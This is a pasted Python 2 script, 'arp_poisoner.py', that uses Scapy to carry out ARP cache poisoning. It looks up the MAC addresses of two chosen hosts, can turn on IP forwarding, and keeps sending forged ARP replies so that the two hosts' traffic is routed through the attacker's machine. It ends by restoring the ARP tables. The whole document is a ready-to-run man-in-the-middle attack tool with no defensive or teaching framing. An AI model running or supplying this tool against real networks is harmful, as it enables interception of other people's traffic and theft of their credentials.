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arp_poisoner.py

The_Defalt Dec 31st, 2017 402 Never
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  1. #! /usr/bin/python
  2.  
  3.  
  4. try:
  5.     from logging import getLogger, ERROR
  6.     getLogger('scapy.runtime').setLevel(ERROR)
  7.     from scapy.all import *
  8.     conf.verb = 0
  9. except ImportError:
  10.     print "[!] Failed to Import Scapy"
  11.     sys.exit(1)
  12.  
  13. class PreAttack(object):
  14.     def __init__(self, target, interface):
  15.         self.target = target
  16.         self.interface = interface
  17.     def get_MAC_Addr(self):
  18.         return srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=self.target), timeout=10, iface=self.interface)[0][0][1][ARP].hwsrc
  19.     class toggle_IP_Forward(object):
  20.         def __init__(self, path='/proc/sys/net/ipv4/ip_forward'):
  21.             self.path = path
  22.         def enable_IP_Forward(self):
  23.             with open(self.path, 'wb') as file:
  24.                 file.write('1')
  25.             return 1
  26.         def disable_IP_Forward(self):
  27.             with open(self.path, 'wb') as file:
  28.                 file.write('0')
  29.             return 0
  30.  
  31. class Attack(object):
  32.     def __init__(self, targets, interface):
  33.         self.target1 = targets[0]
  34.         self.target2 = targets[1]
  35.         self.interface = interface
  36.     def send_Poison(self, MACs):
  37.         send(ARP(op=2, pdst=self.target1, psrc=self.target2, hwdst=MACs[0]), iface=self.interface)
  38.         send(ARP(op=2, pdst=self.target2, psrc=self.target1, hwdst=MACs[1]), iface=self.interface)
  39.     def send_Fix(self, MACs):
  40.         send(ARP(op=2, pdst=self.target1, psrc=self.target2, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=MACs[0]), iface=self.interface)
  41.         send(ARP(op=2, pdst=self.target2, psrc=self.target1, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=MACs[1]), iface=self.interface)
  42.  
  43. if __name__ == '__main__':
  44.     import sys
  45.     import argparse
  46.     from datetime import datetime
  47.     from time import sleep as pause
  48.     parser = argparse.ArgumentParser(description='ARP Poisoning Tool')
  49.     parser.add_argument('-i', '--interface', help='Network interface to attack on', action='store', dest='interface', default=False)
  50.     parser.add_argument('-t1', '--target1', help='First target for poisoning', action='store', dest='target1', default=False)
  51.     parser.add_argument('-t2', '--target2', help='Second target for poisoning', action='store', dest='target2', default=False)
  52.     parser.add_argument('-f', '--forward', help='Auto-toggle IP forwarding', action='store_true', dest='forward', default=False)
  53.     parser.add_argument('-q', '--quiet', help='Disable feedback messages', action='store_true', dest='quiet', default=False)
  54.     parser.add_argument('--clock', help='Track attack duration', action='store_true', dest='time', default=False)
  55.     args = parser.parse_args()
  56.     if len(sys.argv) == 1:
  57.         parser.print_help()
  58.         sys.exit(1)
  59.     elif ((not args.target1) or (not args.target2)):
  60.         parser.error("Invalid target specification")
  61.         sys.exit(1)
  62.     elif not args.interface:
  63.         parser.error("No network interface given")
  64.         sys.exit(1)
  65.     start_Time = datetime.now()
  66.     targets = [args.target1, args.target2]
  67.     print '[*] Resolving Target Addresses...',; sys.stdout.flush()
  68.     try:
  69.         MACs = map(lambda x: PreAttack(x, args.interface).get_MAC_Addr(), targets)
  70.         print '[DONE]'
  71.     except Exception:
  72.         print '[FAIL]\n[!] Failed to Resolve Target Address(es)'
  73.         sys.exit(1)
  74.     try:
  75.         if args.forward:
  76.             print '[*] Enabling IP Forwarding...',; sys.stdout.flush()
  77.             PreAttack.toggle_IP_Forward().enable_IP_Forward()
  78.             print '[DONE]'
  79.     except IOError:
  80.         print '[FAIL]'
  81.         try:
  82.             choice = raw_input('[*] Proceed with Attack? [y/N] ').strip().lower()[0]
  83.             if choice == 'y':
  84.                 pass
  85.             elif choice == 'n':
  86.                 print '[*] User Cancelled Attack'
  87.                 sys.exit(1)
  88.             else:
  89.                 print '[!] Invalid Choice'
  90.                 sys.exit(1)
  91.         except  KeyboardInterrupt:
  92.             sys.exit(1)
  93.     print '[*] Launching Attack...\n'
  94.     while 1:
  95.         try:
  96.             try:
  97.                 Attack(targets, args.interface).send_Poison(MACs)
  98.             except Exception:
  99.                 print '[!] Failed to Send Poison'
  100.                 sys.exit(1)
  101.             if not args.quiet:
  102.                 print '[*] Poison Sent to %s and %s' %(targets[0], targets[1])
  103.             else:
  104.                 pass
  105.             pause(2.5)
  106.         except KeyboardInterrupt:
  107.             break
  108.     print '\n[*] Fixing Targets...',; sys.stdout.flush()
  109.     for i in range(0, 16):
  110.         try:
  111.             Attack(targets, args.interface).send_Fix(MACs)
  112.         except (Exception, KeyboardInterrupt):
  113.             print '[FAIL]'
  114.             sys.exit(1)
  115.         pause(2)
  116.     print '[DONE]'
  117.     try:
  118.         if args.forward:
  119.             print '[*] Disabling IP Forwarding...',; sys.stdout.flush()
  120.             PreAttack.toggle_IP_Forward().disable_IP_Forward()
  121.             print '[DONE]'
  122.     except IOError:
  123.         print '[FAIL]'
  124.     if args.time:
  125.         print '[*] Attack Duration: %s' %(datetime.now() - start_Time)
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